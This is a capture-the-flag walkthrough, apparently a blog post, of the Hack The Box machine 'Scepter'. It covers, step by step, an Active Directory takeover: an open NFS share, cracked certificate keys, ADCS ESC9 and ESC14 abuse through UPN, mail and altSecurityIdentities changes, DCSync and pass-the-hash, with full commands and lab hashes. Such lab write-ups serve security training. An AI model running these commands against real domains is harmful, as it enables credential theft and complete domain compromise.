HTB Scepter Walkthrough: NFS, ESC9, ESC14 and DCSync

Complete WriteUp at Hack The Box Scepter: NFS, PFX/PEM certificates, ADCS ESC9, ESC14, altSecurityIdentities and final DCSync.
- Posted on 2026-06-30
- Reading time: 5 min
HTB Scepter — Walkthrough - Complete WriteUp Hack The Box(HTB) #
difficulty: Hard
OS: Windows / Active Directory
Main techniques: NFS unauthenticated, PFX/PEM cracking, ESC9, ESC14, altSecurityIdentities, DCSync
Recon #
Nmap #
nmap -p- --min-rate 10000 10.10.11.65
nmap -p 53,88,111,135,139,389,445,464,593,636,2049,5985,5986,9389 -sCV 10.10.11.65Relevant ports:
- 53 — DNS
- 88 — Kerberos
- 111 RPC / portmapper
- 389/636 — LDAP/LDAPS
- 445 — SMB
- 2049 NFS ← first vector to explore
- 5985/5986 — WinRM
The port combination 111 (portmapper) + 2049 (NFS) is a direct signal: an exposed NFS share exists. It is listed immediately.
The dominance scepter.htb and the hostname DC01 emerge from the LDAP output. Let's manually add the following to the hosts directory:
sudo nano /etc/hosts
# aggiungere: 10.10.11.65 dc01.scepter.htb scepter.htb DC01NFS — TCP 2049 #
NFS (Network File System) is a protocol that allows you to mount remote file systems. It's unusual to find it open on a Windows DC—when it's there, it's always worth checking to see what it exposes.
showmount -e dc01.scepter.htbExport list for dc01.scepter.htb:
/helpdesk (everyone)Accessible to everyone, without authentication. We install it:
sudo mount -t nfs dc01.scepter.htb:/helpdesk /mnt
ls -l /mnt/baker.crt
baker.key
clark.pfx
lewis.pfx
scott.pfxCertificates and private keys for four users. We'll copy everything locally:
cp /mnt/* .
sudo umount /mntCertificate Analysis #
baker.crt — clear text #
openssl x509 -in baker.crt -noout -textThe certificate exposes the user's identity:
subject=CN=d.baker, emailAddress=d.baker@scepter.htb
issuer=CN=scepter-DC01-CAbaker.key It is encrypted (PKCS#8 with password).
clark / lewis / scott — PFX revoked #
Let's try using them directly with certipy:
certipy auth -pfx clark.pfx -dc-ip 10.10.11.65 -domain scepter.htbFailed — clark, lewis, and scott's certificates have been revoked by the CA. They cannot be used for authentication.
It is baker - has .crt e .key separated, not revoked.
Cracking the baker.key key #
baker.key It's a PKCS#8 encryption. We use pem2john to extract the hash:
pem2john.py baker.key > baker.hashThe generated hash has an extra prefix ($pbkdf2$sha256$aes256_cbc) which must be removed before passing it to hashcat. The correct format corresponds to the mode 24420 (PKCS#8 Private Keys, PBKDF2-HMAC-SHA256):
hashcat baker.hash rockyou.txt -m 24420Password found: newpassword
Same result for the PFX of the other three (crackable with John but useless because revoked):
pfx2john.py clark.pfx > pfx.hashes
pfx2john.py lewis.pfx >> pfx.hashes
pfx2john.py scott.pfx >> pfx.hashes
john pfx.hashes --wordlist=rockyou.txt
# newpassword per tutti e treAuth as d.baker #
Now that we have the password of baker.key, we can combine it with baker.crt to create a usable PFX:
openssl pkcs12 -inkey baker.key -in baker.crt -export -out baker.pfx
# inserire la password: newpasswordWe use certipy to authenticate via PKINIT and get the TGT + NT hash:
certipy auth -pfx baker.pfx -dc-ip 10.10.11.65 -domain scepter.htb -username d.bakerOutput:
[*] Got TGT
[*] Got hash for 'd.baker@scepter.htb': aad3b435b51404eeaad3b435b51404ee:18b5fb0d99e7a475316213c15b6f22ceVerify:
netexec smb dc01.scepter.htb -u d.baker -H 18b5fb0d99e7a475316213c15b6f22ce
# [+] scepter.htb\d.bakerAD Enumeration — BloodHound #
netexec ldap dc01.scepter.htb -u d.baker \
-H 18b5fb0d99e7a475316213c15b6f22ce \
--bloodhound -c AllBloodHound shows that the only path to Domain Admin is through p.adams, who is a member of Replication Operators — the group that allows you to run DCSync.
We also look at the groups of h.brown via direct LDAP query:
netexec ldap 10.10.11.65 -u d.baker \
-H 18b5fb0d99e7a475316213c15b6f22ce \
--query "(sAMAccountName=h.brown)" ""Relevant output:
memberOf CN=CMS,CN=Users,DC=scepter,DC=htb
CN=Helpdesk Admins,CN=Users,DC=scepter,DC=htb
CN=Protected Users,CN=Users,DC=scepter,DC=htb
CN=Remote Management Users,CN=Builtin,DC=scepter,DC=htbh.brown it is in Protected Users — Blocks NTLM authentication. Kerberos is required. It is also in Remote Management Users, so with a valid TGT we can use WinRM.
Shell like h.brown — ESC9 #
Theory #
The template StaffAccessCertificate has the flag SubjectRequireEmail e SubjectAltRequireEmailThis means that the email address of the user requesting the certificate is included in the certificate. If we change the UPN of d.baker to make it look like h.brown, the requested certificate will contain the identity of h.brown.
This is ESC9: flag abuse SubjectAltRequireEmail combined with the ability to change a third-party user's UPN.
For the full theory: ESC9 — ADCS
Permission chain #
BloodHound shows that:
d.bakercan change the password ofa.cartera.carterhas WriteProperty on the OUStaff Access Certificate- From the OU you can change the attribute
userPrincipalNamedid.baker
Feat #
Change a.carter's password:
pth-net rpc password "a.carter" "newPassword2022" \
-U "scepter.htb"/"d.baker"%"aad3b435b51404eeaad3b435b51404ee:18b5fb0d99e7a475316213c15b6f22ce" \
-S "dc01.scepter.htb"FullControl to a.carter on the OU:
dacledit.py -action 'write' -rights 'FullControl' -inheritance \
-principal 'a.carter' \
-target-dn 'OU=STAFF ACCESS CERTIFICATE,DC=SCEPTER,DC=HTB' \
'scepter.htb'/'a.carter':'newPassword2022'UPN by d.baker → h.brown:
certipy-ad account update -u 'a.carter@scepter.htb' -p 'newPassword2022' \
-user d.baker -upn 'h.brown' -dc-ip 10.10.11.65Email from d.baker:
bloodyAD --host 10.10.11.65 -d scepter.htb -u a.carter -p 'newPassword2022' \
set object d.baker mail -v 'h.brown@scepter.htb'Certificate Request:
certipy-ad req -u 'd.baker@scepter.htb' \
-hashes ':18b5fb0d99e7a475316213c15b6f22ce' \
-ca 'scepter-DC01-CA' -template 'StaffAccessCertificate' \
-dc-ip 10.10.11.65 -target-ip 10.10.11.65Reset UPN (essential — if you don't do this the DC will conflict):
certipy-ad account update -u 'a.carter@scepter.htb' -p 'newPassword2022' \
-user d.baker -upn 'd.baker' -dc-ip 10.10.11.65Auth as h.brown:
certipy auth -pfx d.baker.pfx -dc-ip 10.10.11.65 \
-ns 10.10.11.65 -domain scepter.htb -username h.brownTGT + NT hash of h.brown. h.brown it is in Protected Users — NTLM blocked, PTH not working. Kerberos is required.
Let's export the cache and use evil-winrm with Kerberos authentication:
export KRB5CCNAME=h.brown.ccache
evil-winrm -i SCEPTER.HTB -r DC01.SCEPTER.HTBOnce inside, filesystem enumeration yields nothing useful. The next vector returns to the certificates, not the local system. User flag in h.brown's home.
Privilege Escalation — ESC14 (altSecurityIdentities) #
Enumeration with bloodyAD #
BloodHound does not show useful paths from h.brownWe use bloodyAD get writable --detail — more granular than BloodHound because it queries LDAP directly and displays individual writable attributes:
KRB5CCNAME=h.brown.ccache bloodyAD --host dc01.scepter.htb \
-d scepter.htb -k get writable --detailIn the result:
distinguishedName: CN=p.adams,OU=Helpdesk Enrollment Certificate,DC=scepter,DC=htb
altSecurityIdentities: WRITEh.brown can write altSecurityIdentities su p.adams.
Let's check the current status of p.adams:
netexec ldap 10.10.11.65 -u d.baker \
-H 18b5fb0d99e7a475316213c15b6f22ce \
--query "(sAMAccountName=p.adams)" ""altSecurityIdentities It's empty. Perfect—we can write whatever we want.
What is altSecurityIdentities? #
altSecurityIdentities It's an AD attribute that allows you to map external identities to a user for authentication. It essentially tells the DC: "If someone shows up with this identity, treat them as this user."
It supports several formats:
| Format | Example |
|---|---|
| Email (RFC822) | X509:<RFC822>utente@dominio |
| Subject DN | X509:<S>CN=utente,DC=dominio |
| Issuer+Subject | X509:<I>CN=CA<S>CN=utente |
| Thumbprint (SKI) | X509:<SKI>abc123... |
In this case we use the format RFC822 (email), because that's what we include in the certificate via the attribute mail di d.baker.
This is ESC14: write on altSecurityIdentities + control over a user who can request certificates = impersonation.
For detailed explanation: ADCS ESC1–ESC16
Feat #
Let's write the mapping on p.adams:
KRB5CCNAME=h.brown.ccache bloodyAD --host dc01.scepter.htb \
-d scepter.htb -k set object p.adams altSecurityIdentities \
-v 'X509:<RFC822>p.adams@scepter.htb'Let's reset a.carter (if the machine cleanup reset the previous changes):
pth-net rpc password "a.carter" "newPassword2022" \
-U "scepter.htb"/"d.baker"%"aad3b435b51404eeaad3b435b51404ee:18b5fb0d99e7a475316213c15b6f22ce" \
-S "dc01.scepter.htb"
dacledit.py -action 'write' -rights 'FullControl' -inheritance \
-principal 'a.carter' \
-target-dn 'OU=STAFF ACCESS CERTIFICATE,DC=SCEPTER,DC=HTB' \
'scepter.htb'/'a.carter':'newPassword2022'UPN by d.baker → p.adams:
certipy-ad account update -u 'a.carter@scepter.htb' -p 'newPassword2022' \
-user d.baker -upn 'p.adams' -dc-ip 10.10.11.65Verify that the UPN has been updated:
ldapsearch -H ldap://10.10.11.65 \
-D 'CN=a.carter,CN=Users,DC=scepter,DC=htb' -w newPassword2022 \
-b 'DC=scepter,DC=htb' '(sAMAccountName=d.baker)' userPrincipalNamed.baker's email = same value as written in altSecurityIdentities (must match):
bloodyAD --host 10.10.11.65 -d scepter.htb -u a.carter -p 'newPassword2022' \
set object d.baker mail -v 'p.adams@scepter.htb'Certificate Request:
certipy-ad req -u 'd.baker@scepter.htb' \
-hashes ':18b5fb0d99e7a475316213c15b6f22ce' \
-ca 'scepter-DC01-CA' -template 'StaffAccessCertificate' \
-dc-ip 10.10.11.65 -target-ip 10.10.11.65Reset UPN:
certipy-ad account update -u 'a.carter@scepter.htb' -p 'newPassword2022' \
-user d.baker -upn 'd.baker' -dc-ip 10.10.11.65Auth as p.adams:
certipy auth -pfx d.baker.pfx -dc-ip 10.10.11.65 \
-ns 10.10.11.65 -domain scepter.htb -username p.adams[*] Got TGT
[*] Got hash for 'p.adams@scepter.htb': aad3b435b51404eeaad3b435b51404ee:1b925c524f447bb821a8789c4b118ce0How it works: the certificate mail (p.adams@scepter.htb) corresponds to the value written in altSecurityIdentities → the DC does the mapping → authenticates as p.adams.
DCSync → Domain Compromise #
p.adams it is in Replication Operators — can perform DCSync, i.e. request all hashes from the DC as if it were a secondary domain controller.
secretsdump.py -just-dc-ntlm 'scepter.htb'/'p.adams' \
-hashes ':1b925c524f447bb821a8789c4b118ce0' \
@dc01.scepter.htbHash Administrator → PTH:
evil-winrm -i dc01.scepter.htb -u Administrator -H <hash>Root flag.








